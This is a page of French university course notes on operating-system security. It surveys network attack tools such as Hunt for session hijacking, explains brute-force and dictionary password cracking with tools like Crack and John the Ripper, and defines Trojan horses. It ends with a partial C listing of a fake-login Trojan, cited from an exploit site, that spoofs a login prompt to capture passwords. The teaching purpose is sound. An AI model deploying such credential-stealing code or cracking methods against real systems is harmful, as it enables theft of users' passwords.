Généralités sur les systèmes d'exploitation - Site personnel de ...

LO14 : Université Technologique de Troyes• Satan : (Security Administrator's Tool for Analysibng Networks) a la particularité d'avoir été écrit enPERL• Hunt (Pavel Krautz) c'est un programme permettant de s'introduire dans une connexion, de la surveilleret d'en prendre le contrôle. On peut télécharger Hunt 1.3 pour GNU LINUX sur le sitehttp://www.cri.cz/kra/index.html Il permet de s'attaquer aux réseaux considérés jusque là imprenables,les réseaux switchés.• Host : c'est une commande UNIX classée parmi les dix commandes les plus dangereuses et menaçantesd'UNIX• rusers et finger : commandes UNIX ainsi que showmount.2°) Outils pour forcer les mots de passeLe codage des mots de passe n'est pas inversible => des outils de simulation utilisent l'algorithme publicayant servi au chiffrement et on compare le résultat.Force brute : on génère les mots de passe avec un algorithme, on crypte et on compareForce intelligente : on essaie comme mot de passe les noms d'utilisateurs, puis les prénoms.... Il existe desdictionnaires de prénoms qui permettent de forcer une bonne partie des mots de passe.D'où les mises en garde sur l'importance du choix d'un bon mot de passe : qui alterne lettres et chiffres...Crack écrit par Alec D. E. Muffet, ingénieur logiciel spécialiste UNIX. Est distribué librement. Il est conçupour trouver les mots de passe standards de 8 caractères cryptés avec DES.CrackerJack pour la plate-forme DOS.PaceCrack95 tourne sous 95 dans une fenêtre console.Qcrack pour LINUX puis porté sous DOSJohn the Ripper sous DOSPcrack (Perl Crack)3°) Chevaux de Troie (Trojan ou trojan horse)Il s'agit d'un programme ou code non autorisé placé dans un programme sain. Ce code intrus exécute desfonctions indésirables.L'exemple le plus caractéristique est un programme qui simule une erreur "Segmentation fault" et lance unfaux login, ce qui permet de récupérer un mot de passe et l'envoie par e-mail :http://www.hoobie.net/security/exploits/hacking/intruderf.cvoid fakelogin(){char *input1[10]={0};char input[10];char var[80] = {0};char buffer[80] = {0};FILE *fp;FILE *file;char hostname[80]={0};FILE *hostnamefile;fp = popen("cat /etc/issue.net", "r");fread(var, 80, 1, fp);printf("\n");printf("%s",var);printf("\n");hostnamefile=fopen("/etc/HOSTNAME","r");fread(hostname,78,1,hostnamefile);scanend(hostname);printf("%s login: ",hostname);gets(input);*input1=getpass("Password: ");printf("\n");printf("/bin/cat cannot open /etc/motd cought buffer overide!\n");printf("opening system fix shell, run fsck\n");94 /98 S. Moutou : Cours